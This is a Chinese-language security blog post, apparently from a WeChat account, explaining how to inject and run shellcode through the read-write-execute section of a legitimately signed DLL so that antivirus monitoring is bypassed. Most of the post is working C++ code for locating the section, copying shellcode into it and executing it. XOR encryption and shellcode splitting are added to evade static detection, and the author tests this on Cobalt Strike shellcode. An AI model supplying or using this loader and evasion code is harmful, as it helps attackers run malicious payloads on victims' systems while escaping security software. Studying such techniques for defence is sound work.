原创 canyonero XINYU2428
微信号 gh_65c38df19d17
功能介绍 信息安全打工人的学习分享及日常记录
__发表于
收录于合集
一般的代码注入技术经常会用到VirtualAlloc
、WriteProcessMemory
、CreateRemoteThread
、CreateProcess
、OpenProcess
等都是一些分配虚拟内存、内存写入、创建进程的操作的函数。这些函数被杀软严格监控做好的程序非常容易被干掉。为了避免这种情况的发生可以采取两种方式,一种方式是通过解钩或是在底层syscall层面绕过杀软的监控,另一种方式是不使用这些函数。
这里介绍的是不使用这种方式的方法,一种利用dll文件RWX内存块的方式来实现的代码注入的方式。这种技术的好处在于可以避免使用这些高危函数,且可利用合法的dll文件,在一定程度上可以绕过杀软。
利用RWX技术的注入方法其实已经出来很久了,本文主要介绍的主要是配合合法dll的利用。
想要达到预期目的,需要实现以下几个流程
1.找到有rwx块且大小足够的DLL文件(最好是有签名的)
2.加载DLL文件到当前进程并找到rwx块的内存地址
3.往rwx块内写入shellcode
4.执行shellcode
在PE文件中,文件被分为多个块,例如.idata
、.text
、.rsrc
、.pdata
等,每个文件块存储的数据和作用都不相同,RWX指的是文件块拥有可读可写可执行的权限。我们可以利用这段拥有RWX权限的块来放入shellcode并执行。在Visual
Studio中,刚好就自带了一个这样的DLL文件,且该文件是签名的,所以可以利用这个白dll来执行shellcode。
在CFF工具中看到的rwx权限的块是这样的
接下来用代码实现。
首先动态加载dll文件到内存
HMODULE hDll = ::LoadLibraryW(L"a.dll");
if (hDll == nullptr) {
std::cout << "Fail to load the targeted DLL\n";
}
MODULEINFO moduleInfo;
if (!::GetModuleInformation(
::GetCurrentProcess(),
hDll,
&moduleInfo,
sizeof(MODULEINFO))
) {
std::cout << "Fail to get module info\n";
}
找到RWX块的偏移地址
DWORD_PTR FindRWXOffset(HMODULE hModule) {
IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule);
if (ntHeader != NULL) {
IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);
for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) {
DWORD_PTR baseAddress = (DWORD_PTR)hModule;
DWORD_PTR sectionOffset = sectionHeader->VirtualAddress;
DWORD_PTR sectionSize = sectionHeader->SizeOfRawData;
std::cout << "Base Adress : " <<std::hex<< baseAddress << std::endl;
std::cout << "Section Offset : " << std::hex << sectionOffset << std::endl;
std::cout << "Size of section : " << sectionSize << std::endl;
return sectionOffset;
}
sectionHeader++;
}
}
return 0;
}
计算RWX块大小
DWORD_PTR FindRWXSize(HMODULE hModule) {
IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule);
if (ntHeader != NULL) {
IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);
for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) {
DWORD_PTR sectionSize = sectionHeader->SizeOfRawData;
//std::cout << "Size of section : " << sectionSize << std::endl;
return sectionSize;
}
sectionHeader++;
}
}
return 0;
}
往RWX中复制shellcode
void WriteCodeToSection(LPVOID rwxSectionAddr, const char* shellcode, SIZE_T sizeShellcode) {
memcpy((LPVOID)rwxSectionAddr, shellcode, sizeShellcode);
//std::cout << sizeShellcode << " bytes of shellcode Written to RWX Memory Region\n";
}
最后直接执行shellcode
void ExecuteCodeFromSection(LPVOID rwxSectionAddr) {
//inline assembly execution
((void(*)())rwxSectionAddr)();
}
将编译好的exe文件和dll文件放在一起,运行exe后,exe会将DLL加载到自己的进程中,然后往DLL内存位置中复制shellcode,最后运行shellcode。
效果如下
在exe中没有分配内存,也没有创建线程,仅仅是使用了memcpy
来复制数据,我相信它的能够成功规避杀软对危险函数的动态监控。所以接下需要做的就是修改代码的特征,避免被静态查杀。
这之中最重要的就是对shellcode进行混淆或加密,比如可以实现一个快速而简单的XOR代码来对shellcode进行加解密,当然也可以用其他加密。
新建一个加密程序,将原始shellcode进行XOR处理。
#define KEY 0x01
unsigned char buf[] = "\xff";
int main(int argc, char* argv[])
{
unsigned char c[sizeof(buf)];
for (int i = 0; i < sizeof(buf) - 1; i++)
{
c[i] = buf[i] ^ KEY;
printf("\\x%x", c[i]);
}
printf("\n");
return 0;
}
然后将解密代码放到主程序中,buff数组存储XOR前的数据,rawData存储解密后的数据
#define KEY 0x01
unsigned char buff[] = "\xfd";
unsigned char rawData[sizeof(buff)];
for (int i = 0; i < sizeof(buff) - 1; i++)
{
rawData[i] = buff[i] ^ KEY;
}
如果觉得光异或不够保险,可以分离一下shellcode再组合。
如以下代码所示,可使用memcpy
来复写buf中的shellcode,想复写多少都可以,这样中一定程度上可以混淆特征。
unsigned char buf[] = "\xfd\x48\x83\xe4\xf0";
char bufa[] = "\xfc";
memcpy(shellcode, first, 1);
这里直接使用原版CS4.0的shellcode进行上述加密混淆,看一下对杀软的效果。
本文中使用的dll是Visual Studio中的msys-2.0.dll。若安装了Visual Studio,可以很轻松的找到这个dll。
可以看到跟exe不同,dll是具有完整签名的合法文件。这个dll能被利用是因为它有16kb左右的rwx空间,我们利用这块rwx空间的shellcode必须在16kb以内。那如果我有更长的shellcode呢?
手动修改块属性或者增加rwx块大小,可以实现容纳更长shellcode的需求,但是这样一来dll的签名就没了。为了能够完完全全利用合法的dll,实现更好的对抗杀软,只能找到其他有大空间rwx的dll。
有人在Github发布了一个python的工具,这个工具可以遍历目录查找存在rwx块的dll。
经过测试,我发现所有PE文件都是可利用的,我们需要的只是在合法文件中的那段rwx块。这意味着只要是有这些错误权限且空间足够的exe和dll,都可以利用。
https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-
to-achieve-code-execution
https://github.com/b6e4n/POC-Mockingjay
https://github.com/malwareninja/Mockingjay---Vulnerable-DLL-
Finder/blob/main/rwx_dll_finder.py
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看